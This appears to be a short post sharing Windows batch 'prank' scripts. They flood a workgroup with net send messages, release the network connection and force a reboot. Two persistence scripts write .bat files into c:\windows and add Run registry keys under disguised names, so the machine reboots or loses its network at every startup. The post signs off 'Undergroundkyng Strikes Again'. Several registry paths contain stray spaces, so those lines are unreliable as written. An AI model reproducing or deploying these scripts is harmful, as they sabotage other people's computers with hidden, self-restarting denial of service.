Here you go
Flood Network
:CRASH
net send * WORKGROUP ENABLED
net send * WORKGROUP ENABLED
GOTO CRASH
Disable Internet / Network
ipconfig /release
Shutdown Computer
shutdown -r -f -t0
Harmful
Shutdown Computer Every Time It Is Booted Up
echo @echo off>c:\windows\hartlell.bat
echo break off>>c:\windows\hartlell.bat
echo shutdown -r -t 11 -f>>c:\windows\hartlell.bat
echo end>>c:\windows\hartlell.bat
reg add hkey_local_machine\software\microsoft\windows\curr entversion\run /v startAPI /t reg_sz /d c:\windows\hartlell.bat /f
reg add hkey_current_user\software\microsoft\windows\curre ntversion\run /v HAHAHA /t reg_sz /d c:\windows\hartlell.bat /f
echo Undergroundkyng Strikes Again
PAUSE
Disable Internet / Network Permanently
echo @echo off>c:\windows\wimn32.bat
echo break off>>c:\windows\wimn32.bat
echo ipconfig/release_all>>c:\windows\wimn32.bat
echo end>>c:\windows\wimn32.bat
reg add hkey_local_machine\software\microsoft\windows\curr entversion\run /v WINDOWsAPI /t reg_sz /d c:\windows\wimn32.bat /f
reg add hkey_current_user\software\microsoft\windows\curre ntversion\run /v CONTROLexit /t reg_sz /d c:\windows\wimn32.bat /f
echo Undergroundkyng Strikes Again
PAUSE